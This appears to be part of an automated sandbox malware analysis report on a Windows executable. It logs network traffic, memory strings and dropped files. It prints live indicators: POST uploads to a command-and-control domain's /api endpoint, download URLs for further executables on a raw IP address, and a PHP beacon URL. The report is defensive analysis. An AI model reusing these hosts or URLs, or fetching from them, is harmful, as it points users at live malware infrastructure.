Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LZ3MKM7CZMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19915Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=12ZILBYXO9EDK0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1209Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7AYOUW2RKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552421Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/H
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeI
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exes
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206//
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: NYMPo215Qd.exe, 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2314288168.00000000015CD000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: NYMPo215Qd.exe, 00000000.00000003.2275292478.0000000005E5E000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2278442082.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2231660466.0000000005E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: NYMPo215Qd.exe, 00000000.00000003.2255073832.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/H
Source: NYMPo215Qd.exe, 00000000.00000003.2255073832.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/P
Source: NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2230392761.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: NYMPo215Qd.exe, 00000000.00000003.2275464025.0000000005E51000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2230717729.0000000005E51000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2230392761.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api)
Source: NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiSD
Source: NYMPo215Qd.exe, 00000000.00000003.2275341287.00000000015F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apilS
Source: NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apip
Source: NYMPo215Qd.exe, 00000000.00000003.2314567783.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2275341287.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2278442082.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi0ZZ
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/x
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: NYMPo215Qd.exe, 00000000.00000003.2231593585.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: NYMPo215Qd.exe, 00000000.00000003.2231593585.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49740 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: NYMPo215Qd.exe	Static PE information: section name:
Source: NYMPo215Qd.exe	Static PE information: section name: .idata
Source: NYMPo215Qd.exe	Static PE information: section name:
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name:
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: .idata
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name:
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: .idata
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157CE02	0_3_0157CE02
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157CE02	0_3_0157CE02
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157CE02	0_3_0157CE02
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157CE02	0_3_0157CE02
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004AC0FC	3_2_004AC0FC
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004AB099	3_2_004AB099
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004C0543	3_2_004C0543
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004C0557	3_2_004C0557
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004C05C9	3_2_004C05C9
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004C0590	3_2_004C0590
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004C05AD	3_2_004C05AD
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_003309AC	3_2_003309AC
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A5C8B	3_2_004A5C8B
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A5C84	3_2_004A5C84

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe 5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A

Source: NYMPo215Qd.exe, 00000000.00000003.2365331637.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2374753001.00000000063FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2381040907.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2369305462.00000000063CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375271569.00000000064FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2368941551.00000000063CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379548462.000000000642A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2380041931.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2366213919.00000000063AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2379239257.000000000655A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397326277.0000000005F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2398050171.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2370795222.0000000006498000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2374152759.0000000006300000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2375647885.00000000063F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2374871745.00000000062F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2368108950.00000000063B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
Source: NYMPo215Qd.exe, 00000000.00000003.2373030381.00000000062F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NYMPo215Qd.exe
